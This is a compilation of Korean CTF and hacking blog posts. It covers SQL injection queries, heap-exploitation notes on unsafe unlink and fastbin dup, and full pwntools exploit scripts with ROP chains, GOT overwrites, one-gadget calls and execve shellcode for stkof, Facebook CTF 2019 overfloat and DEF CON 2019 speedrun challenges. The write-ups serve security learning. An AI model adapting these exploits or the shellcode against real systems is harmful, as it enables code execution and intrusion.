Edit -> Patch program -> Apply patches to input file
'HACKING > Reversing' 카테고리의 다른 글
| ida 사용법 (0) | 2018.01.28 |
|---|---|
| OllyDBG 단축키 모음 (0) | 2018.01.14 |
| 어세블리어 REP, STOS, MOVS (0) | 2018.01.14 |
Edit -> Patch program -> Apply patches to input file
| ida 사용법 (0) | 2018.01.28 |
|---|---|
| OllyDBG 단축키 모음 (0) | 2018.01.14 |
| 어세블리어 REP, STOS, MOVS (0) | 2018.01.14 |
select id, pw from member where id='' union select info, 1 from information_schema.processlist;
->select id, pw from member where id='' union select info, 1 from information_schema.processlist
//쿼리를 모를 때 전체 쿼리를 반환받아볼 수 있음
select table_name from information_schema.tables where table_schema=database();
-> member, test_table
select column_name from information_schema.columns where table_name='member';
-> id, pw, no
| Practical Web Cache Poisoning (0) | 2020.01.05 |
|---|---|
| mysql group_concat (0) | 2018.04.04 |
| SQL injection msql.innodb_table_stats (0) | 2018.02.24 |
| sql injection 참고 (0) | 2018.02.10 |
| LFI Exploit with PHP Protocols / Wrappers (0) | 2017.11.30 |
libc= ELF('./라이브러리')
leak_binsh = libc_base + list(libc.search('/bin/sh'))[0]
leak_binsh = libc_base + next(libc.search("/bin/sh"))
---------------------------------------------------------------
strings -tx [사용라이브러리] | grep "/bin/sh"
| python pty module with reverse shell (0) | 2019.09.21 |
|---|---|
| bash trick(꿀 tip) (0) | 2019.08.21 |
| unsafe unlink (0) | 2019.06.06 |
| fastbin_dup_into_stack (0) | 2019.06.03 |
| remote socket exploit?? (0) | 2019.02.03 |
예를 들어
a1 = malloc(128);
a2 = malloc(128);
로 128바이트의 힙 영역을 두번 할당 받게되면 두 영역이 인접해진다.
여기서 만약
free(a1);
으로 첫번째 chunk가 해제된 상태라고 가정한다면
두번째 chunk 헤더는
prev_size : 00000090 size : 0x00000090
인 상태가 될 것이다. 자신 chunk의 size는 PREV_INUSE flag가 0이 된 상태다(이전 청크가 해제 되었단 의미)
이 상태에서
free(a2)
를 하게 되면 small bin의 특성상 두번째 chunk와 인접해서 해제되어있는 첫번째 chunk와 consolidation(병합) 하는 과정을 갖는다.
취약점은 여기서 터진다. 오버플로우를 통해 첫번째 chunk에 fack chunk를 만들어주고 두번째 chunk의 헤더에 prev_size를 첫번째 header까지의 거리로, size의 prev_inuse bit를 0으로 해주면 fack chunk와 병합을 하게 된다. 그렇게 되면 첫번째 chunk의 주소를 가지고 있는 전역변수에 원하는 값을 집어 넣을 수 있다.
말대로 첫번째 chunk의 주소가 전역변수에 저장된다면 FAKE chunk의 fd = (전역변수 - 0x18)와 bk = (전역변수 - 0x10)로 넣어준다. 그렇게 하면 병합과정에서 전역변수에 FAKE_FD가 들어갈 것이다.
/*
unlink가 트리거 되면
ptr1->FAKE_BK->FD = FAKE_FD
now, ptr1 == (long)&ptr1 - sizeof(long)*3;
*/
그런 다음 해당 전역변수의 값을 잘 조작할 수 있다면 공격을 할 수 있다.
| bash trick(꿀 tip) (0) | 2019.08.21 |
|---|---|
| tips for find binsh address using pwntool (0) | 2019.07.05 |
| fastbin_dup_into_stack (0) | 2019.06.03 |
| remote socket exploit?? (0) | 2019.02.03 |
| memory cheat sheet (0) | 2019.01.17 |
vulnerability : unsafe_unlink
unsafe_unlink가 기억이 안나 복기할겸 문제를 풀었다.
이 문제같은 경우는 할당한 heap영역들을 0x602100에 저장하면서 free나 fread를 할 때도 0x602100에 있는 값을 기준으로 하기 때문에 unsafe unlink 공격이 가능했다.
0x602100에 strlen@got를 공략했다.

strlen의 got를 puts의 주소로 덮어쓰면 puts(s[index])가 되어 libc leak이 가능하기 때문이다.
그래서 0x602100에 strlen@got를 넣고 fread()함수를 통해 puts@plt를 넣은 후 릭을 하였고, 다시 0x602100에 puts@got 주소를 넣어 거기에 oneshot 가젯을 넣으며 익스를 했다.
from pwn import *
def malloc(size):
p.sendline("1")
p.sendline(str(size))
#print p.recv()
def write(index, size, payload):
p.sendline("2")
p.sendline(str(index))
p.sendline(str(size))
p.send(payload)
def free(index):
p.sendline("3")
p.sendline(str(index))
def leak(index):
p.sendline("4")
p.sendline(str(index))
return u64(p.recv(6).ljust(8, "\x00"))
if __name__ == '__main__':
elf = ELF('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./stkof')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
strlen_got = elf.got['strlen']
malloc(128)
malloc(128)
payload = p64(0)*2
payload += p64(0x602130)
payload += p64(0x602138)
payload += p64(0)*142
payload += p64(0x490)
payload += p64(0x90)
#pause()
write(1, len(payload), payload)
#pause()
free(2)
#print p.recv()
payload = p64(0)*2
payload += p64(strlen_got)
payload += p64(0x602130)
payload += p64(puts_got)
write(1, len(payload), payload)
#print p.recv()
write(0, 8, p64(puts_plt))
print p.recv()
#pause()
libc_puts = leak(2)
libc_base = libc_puts - libc.symbols['puts']
oneshot = libc_base + 0x45216
log.info("libc_puts = {}".format(hex(libc_puts)))
log.info("libc_base = {}".format(hex(libc_base)))
log.info("oneshot = {}".format(hex(oneshot)))
write(2, 8, p64(oneshot))
p.interactive()

메인 화면이다.
소스코드를 전부 제공해주기 때문에 살펴보자.

flag는 facebook이란 name이 있는 description에 있다.
sql injeciton 문제처럼 보인다.

get_product($name)는 name만 받아서 name과 description을 받아온다.
그러나 preapare statement가 적용되어 있어 sql injection이 불가능하다.
그래서 add.php를 잘 살펴보면 facebook이란 name이 있지만 공백을 하나 추가시키면 mysql의 PDASPACE타입에 의해 공백과 무관하게 같은 facebook을 넣을 수 있다.

| facebook CTF 2019 overfloat (0) | 2019.06.03 |
|---|---|
| defcon2019 speedrun (0) | 2019.05.28 |
| hackzone 2019 pwn2 (Syscall) (0) | 2019.05.09 |
| hackzone 2019 pwn1 (0) | 2019.05.07 |
| BTH_CTF 2019 (0) | 2019.05.01 |

atof 함수에서 소수로 받아 4바이트씩 변수에 집어넣는데 원하는 만큼 집어넣는게 가능해서 오버플로우가 가능하다.

단 소수로 원하는 페이로드를 만들려면 IEEE floating point 변환을 해줘야 한다.
파이썬 코드로 짜는게 가능하지만 일단 빨리 풀기 위해 requests모듈로 웹사이트 기능을 크롤링해서 소수변환을 했다.
from pwn import *
import time
import json
import requests
def get_float(want):
url = "https://www.h-schmidt.net/FloatConverter/binary-json.py?hexadecimal={}".format(want)
response = requests.get(url)
data = json.loads(response.text)
return str(data['decimalRepr'])
#p = process('./overfloat')
p = remote('challenges.fbctf.com', 1341)
elf = ELF('./overfloat')
libc = ELF('./libc-2.27.so')
p.recv()
#nop = "-5.702072E-29"
nop = get_float("0x90909090")
pop_rdi = get_float("0x400a83")
pop_rsi_r15 = get_float("0x400a81")
puts_plt = get_float(hex(elf.plt['puts']))
puts_got = get_float(hex(elf.got['puts']))
main = get_float("0x400993")
i = 0
while(True):
if i >= 14:
break
i += 1
p.sendline(nop)
p.recv()
p.sendline(pop_rdi)
p.recv()
p.sendline("0.0")
p.recv()
p.sendline(puts_got)
p.recv()
p.sendline("0.0")
p.sendline(puts_plt)
p.recv()
p.sendline("0.0")
p.recv()
#pause()
p.sendline(main)
hexdump(p.recv())
p.sendline("0.0")
hexdump(p.recv())
p.sendline("done")
#pause()
hexdump(p.recvuntil("\x0a"))
libc_puts = u64(p.recv(6).ljust(8, "\x00"))
log.info("libc_puts = {}".format(hex(libc_puts)))
libc_base = libc_puts - libc.symbols['puts']
log.info("libc_base = {}".format(hex(libc_base)))
libc_gets = libc_base + libc.symbols['gets']
log.info("libc_gets = {}".format(hex(libc_gets)))
oneshot = libc_base + 0x4f322
log.info("oneshot = {}".format(hex(oneshot)))
#pause()
i = 0
while(True):
if i >= 14:
break
i += 1
p.sendline(nop)
p.recv()
p.sendline(pop_rdi)
p.recv()
p.sendline("0.0")
p.recv()
p.sendline(puts_got)
p.recv()
p.sendline("0.0")
p.recv()
p.sendline(get_float('0x'+hex(libc_gets)[-8:]))
p.recv()
length = len(hex(libc_gets)) - len(hex(libc_gets)[-8:])
p.sendline(get_float(hex(libc_gets)[:4+2]))
p.recv()
p.sendline(puts_plt)
p.recv()
p.sendline("0.0")
p.recv()
p.sendline("done")
hexdump(p.recv())
#pause()
p.sendline(p64(oneshot))
p.interactive()

| facebook CTF 2019 products-manager (0) | 2019.06.04 |
|---|---|
| defcon2019 speedrun (0) | 2019.05.28 |
| hackzone 2019 pwn2 (Syscall) (0) | 2019.05.09 |
| hackzone 2019 pwn1 (0) | 2019.05.07 |
| BTH_CTF 2019 (0) | 2019.05.01 |
사용 조건
1. 동일한 크기의 fast chunk의 할당과 해제가 자유로워야함
2. 공격자에 의해 해제된 fast chunk를 한번 더 해제 할 수 있어야 함(double free bug)
3. 공격자에 의해 할당된 fast chunk 영역에 값을 저장할 수 있어야 함
4. 할당 받고자 하는 stack 영역에 해제된 fast chunk의 크기 값이 저장되어 있어야 함
a = malloc(112)
b = malloc(112)
c = malloc(112)
free(a)
free(b)
free(a)
-> 이 과정에서 fatsbin에 a->b->a 순서로 들어가게 됨.
다시
d = malloc(112)
e = malloc(112)
후에 d의 fd에 원하는 값(stack영역의 주소 - prev_size공간(0x8))을 넣어줌
다시
f = malloc(112)
g = malloc(112) // 여기서 원하는 stack영역의 주소에 메모리를 할당!
| tips for find binsh address using pwntool (0) | 2019.07.05 |
|---|---|
| unsafe unlink (0) | 2019.06.06 |
| remote socket exploit?? (0) | 2019.02.03 |
| memory cheat sheet (0) | 2019.01.17 |
| free_hook으로 Full Relro 우회 (0) | 2018.09.17 |
시간이 없어서 이제 올린다.. 다른 문제 더 풀고 또 추가할 예정
speedrun001
from pwn import *
#p = process("./speedrun-001")
p = remote("speedrun-001.quals2019.oooverflow.io", 31337)
elf = ELF("./speedrun-001")
pop_rdi = 0x48e712
pop_rsi = 0x48e213
pop_rdx_rsi = 0x44be39
pop_rax = 0x415664
mov_eax_syscall_write = 0x004499b0
bss = elf.bss()
binsh = "/bin/sh\x00"
syscall = 0x474e65
print p.recv()
payload = "A"*1032
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rdx_rsi)
payload += p64(len(binsh))
payload += p64(bss+0x1000)
payload += p64(syscall)
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(bss+0x1000)
payload += p64(pop_rdx_rsi)
payload += p64(0)
payload += p64(0)
payload += p64(syscall)
#pause()
p.sendline(payload)
#pause()
p.sendline(binsh)
p.interactive()
pop rax 가젯으로 syscall을 호출했다.

speedrun002
from pwn import *
#p = process('./speedrun-002')
p = remote('speedrun-002.quals2019.oooverflow.io', 31337)
elf = ELF('./speedrun-002')
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
pop_rdi = 0x4008a3
pop_rsi_r15 = 0x4008a1
pop_rdx = 0x4006ec
write_offset = 0x110140
print p.recv()
p.sendline("Everything intelligent is so boring.")
print p.recv()
payload = "A"*0x408
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(write_got)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(8)
payload += p64(write_plt)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(write_got)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(8)
payload += p64(read_plt)
payload += p64(write_plt)
pause()
p.sendline(payload)
pause()
p.recvuntil("ting.\x0a")
libc_write = u64(p.recv(8))
libc_base = libc_write - write_offset
one_gadget = libc_base + 0x4f322
log.info("libc_write = {}".format(hex(libc_write)))
log.info("libc_base = {}".format(hex(libc_base)))
log.info("one_gadget = {}".format(hex(one_gadget)))
p.sendline(p64(one_gadget))
libc leak을 한 후 libc_database를 사용해 offset을 구해 익스했다.


speedrun003
from pwn import *
p = process('./speedrun-003')
#p = remote('speedrun-003.quals2019.oooverflow.io', 31337)
#pause()
print p.recv()
payload = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb"
payload += "\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload += "\x4e\x4e\x56"
p.send(payload)
p.interactive()
리버싱으로 쉘코드가 만들어지는 값을 찾아 내었다.

speedrun004
from pwn import *
#p = process('./speedrun-004')
p = remote('speedrun-004.quals2019.oooverflow.io', 31337)
elf = ELF('./speedrun-004')
bss = elf.bss()
pop_rax = 0x415f04
pop_rdi = 0x483f1c
pop_rsi = 0x410a93
pop_rdx = 0x44c6b6
syscall = 0x475a27
binsh = "/bin/sh\x00"
print p.recv()
#pause()
p.sendline("\x09\x09257")
#pause()
print p.recv()
#pause()
payload = "\x90"*112
#payload += "U"*108 # here!!!
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss+0x1000)
payload += p64(pop_rdx)
payload += p64(len(binsh))
payload += p64(syscall)
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(bss+0x1000)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
#payload += "C"*8
payload += "\x28"*(257-len(payload))
p.send(payload)
#pause()
p.send(binsh)
p.interactive()
한번에 따지지는 않지만 여러번 시도하면 확률적으로 쉘이 따진다.

| facebook CTF 2019 products-manager (0) | 2019.06.04 |
|---|---|
| facebook CTF 2019 overfloat (0) | 2019.06.03 |
| hackzone 2019 pwn2 (Syscall) (0) | 2019.05.09 |
| hackzone 2019 pwn1 (0) | 2019.05.07 |
| BTH_CTF 2019 (0) | 2019.05.01 |